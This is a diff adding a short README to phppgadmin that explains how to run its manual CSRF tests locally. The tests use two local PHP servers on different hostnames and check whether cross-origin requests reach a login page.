+# Testing CSRF vulnerabilities (Issue #94)
+
+How to test:
+
+1. Start phppgadmin:
+
+```
+$ cd /path/to/phppgadmin
+$ php -S localhost:8000
+```
+
+2. Set up a testing domain in /etc/hosts:
+
+```
+127.0.0.1       localhost2
+```
+
+3. Start the tests
+
+```
+$ cd /path/to/phppgadmin/tests/manual/issue-94
+$ php -S localhost2:8001
+```
+
+4. Open both sites in the same browser (different windows or tabs):
+
+```
+http://localhost:8000
+```
+
+```
+http://localhost2:8001
+```
+
+5. Log in to phppgadmin
+
+6. Run a test
+
+Choose a test from the list. Open your console, and click "Submit Request" -- you should see a CORS error, but the request should also appear in the network tab. Open it to see the response.
+
+If you see a login page, phppgadmin is protected. If not, phppgadmin is vulnerable.
